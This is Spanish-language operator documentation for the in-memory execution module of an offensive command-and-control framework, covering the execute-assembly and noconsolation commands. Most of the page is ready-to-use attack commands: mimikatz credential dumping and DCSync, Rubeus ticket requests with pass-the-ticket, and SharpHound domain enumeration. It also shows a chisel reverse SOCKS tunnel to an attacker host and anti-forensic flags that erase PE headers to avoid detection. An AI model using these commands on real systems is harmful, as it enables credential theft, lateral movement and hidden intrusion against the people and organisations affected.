El módulo Execution-BOF proporciona dos mecanismos para ejecutar código arbitrario en la memoria del proceso del agente, sin escribir archivos en disco en la máquina objetivo.

Disponible en agentes: Beacon, Gopher (solo Windows).


execute-assembly

Ejecuta un assembly .NET completamente en memoria utilizando CLR hosting. El binario se sube desde la máquina del operador y se carga directamente en el proceso del agente — ningún archivo toca el disco del objetivo.

execute-assembly --assembly <ruta_local> [--args "<argumentos>"]
ArgumentoRequeridoDescripción
--assemblyRuta al archivo .NET EXE/DLL en la máquina del operador
--argsNoArgumentos que se pasan al assembly

Ejemplos

Ejecutar SharpHound para enumerar Active Directory:

execute-assembly --assembly /opt/tools/SharpHound.exe --args "-c All -d domain.local"

Ejecutar Rubeus para solicitar un TGT:

execute-assembly --assembly /opt/tools/Rubeus.exe --args "asktgt /user:admin /password:P@ss /ptt"

Ejecutar Seatbelt para auditoría de seguridad:

execute-assembly --assembly /opt/tools/Seatbelt.exe --args "-group=all"

Ejecutar SharpUp para buscar escalación de privilegios:

execute-assembly --assembly /opt/tools/SharpUp.exe --args "audit"

Cuándo usarlo

execute-assembly es el método principal para ejecutar herramientas ofensivas escritas en .NET. Es ideal para:

  • Herramientas de reconocimiento de AD: SharpHound, ADSearch, SharpView
  • Ataques Kerberos: Rubeus (aunque JustC2 tiene Kerbeus-BOF integrado)
  • Auditoría de seguridad: Seatbelt, SharpUp, Certify
  • Extracción de credenciales: SharpDPAPI, SharpChrome
  • Movimiento lateral: SharpWMI, SharpRDP

Soporta assemblies de .NET Framework. El assembly se ejecuta en un AppDomain separado dentro del proceso del agente.


noconsolation

Ejecuta binarios nativos (no administrados) EXE o DLL completamente en memoria mediante el BOF No-Consolation. Es más versátil que execute-assembly ya que soporta tanto binarios .NET como nativos de Windows.

noconsolation -f <ruta_local> [-a "<argumentos>"] [opciones]

Opciones de Carga

ArgumentoDescripción
-f <ruta>Sube un EXE/DLL desde la máquina del operador
--local <ruta>Carga un binario desde el disco de la máquina objetivo
--memory <nombre>Carga un PE previamente guardado en memoria

Opciones de Ejecución

ArgumentoDescripción
-a "<args>"Argumentos para el PE
--method <export>Nombre de la función exportada a ejecutar (solo para DLLs; por defecto: DllMain)
--timeout <segundos>Tiempo máximo de espera (por defecto: 60s, 0=ilimitado)
--inthreadEjecutar en el hilo principal (puede colgar el agente)
-wPasar argumentos en formato UNICODE (por defecto: ANSI)
-noNo capturar la salida
-acAsignar una nueva consola (genera un nuevo proceso)
-chCerrar handles de pipes al terminar

Opciones de Anti-Forense

ArgumentoDescripción
-kSobrescribir los encabezados PE (elimina rastros del binario cargado)
--link-to-pebHacer el PE visible en el PEB (Process Environment Block)

Gestión de PEs en Memoria

ArgumentoDescripción
--dont-saveNo guardar el PE en la caché de memoria
--dont-unloadNo descargar la DLL después de ejecutarla
--list-pesListar todos los PEs cargados en memoria
--unload-pe <nombre>Descargar un PE específico de la memoria
--free-libraries "DLL_A,DLL_B"Liberar DLLs específicas (cargadas previamente con --dont-unload)

Gestión de Dependencias

ArgumentoDescripción
-ladCargar de forma personalizada todas las dependencias del PE
-ladb "DLL_A,DLL_B"Cargar todas las dependencias excepto las listadas
-ld "DLL_A,DLL_B"Cargar solo las dependencias especificadas
-sp "RUTA_A,RUTA_B"Rutas de búsqueda para DLLs (por defecto: system32)

Ejemplos

Ejecutar mimikatz en memoria:

noconsolation -f /tmp/mimikatz.exe -a "privilege::debug token::elevate exit"

Ejecutar mimikatz con anti-forense (sobrescribir headers):

noconsolation -f /tmp/mimikatz.exe -a "sekurlsa::logonpasswords exit" -k

Ejecutar una herramienta de larga duración (chisel, ligolo, etc.):

noconsolation -f /tmp/chisel.exe -a "client ATTACKER:8080 R:socks" --timeout 0 --inthread

Guardar PE en memoria y reutilizarlo:

# Primera ejecución — el PE se guarda automáticamente
noconsolation -f /tmp/mimikatz.exe -a "privilege::debug exit"

# Ejecuciones posteriores — cargar desde memoria (sin re-subir)
noconsolation --memory mimikatz.exe -a "sekurlsa::logonpasswords exit"
noconsolation --memory mimikatz.exe -a "lsadump::dcsync /user:Administrator exit"

Listar PEs cargados en memoria:

noconsolation --list-pes

Descargar un PE de la memoria:

noconsolation --unload-pe mimikatz.exe

Ejecutar una DLL con una función exportada específica:

noconsolation -f /tmp/custom.dll --method MyExportedFunc -a "arg1 arg2"

Cargar desde disco en la máquina objetivo:

noconsolation --local "C:\Windows\Temp\tool.exe" -a "arg1"

Cuándo usarlo

noconsolation es superior a execute-assembly para binarios nativos:

  • Herramientas nativas de Windows: mimikatz.exe, procdump.exe, netcat, chisel
  • DLLs personalizadas: Ejecutar funciones exportadas específicas de una DLL
  • Herramientas de larga duración: Proxies SOCKS, túneles, servidores (con --timeout 0 --inthread)
  • Ejecuciones repetidas: Guardar el PE en memoria y reutilizarlo sin volver a subirlo
  • Operaciones sigilosas: Usar -k para borrar encabezados PE de la memoria

Restricción: Solo soporta agentes de 64 bits (x64). No funciona en procesos WoW64 (32 bits).

Flujo de Trabajo con Caché de PEs

El sistema de caché de No-Consolation permite cargar un binario una sola vez y ejecutarlo múltiples veces:

  1. Cargar y ejecutar: noconsolation -f /ruta/tool.exe -a "primer_comando" — el PE se guarda en memoria automáticamente.
  2. Reutilizar: noconsolation --memory tool.exe -a "segundo_comando" — sin transferencia de red.
  3. Verificar caché: noconsolation --list-pes — ver qué PEs están en memoria.
  4. Limpiar: noconsolation --unload-pe tool.exe — liberar memoria cuando ya no se necesite.

Esto es especialmente útil con herramientas como mimikatz que se usan repetidamente durante una operación — se sube una vez y se ejecutan múltiples módulos sin tráfico adicional de red.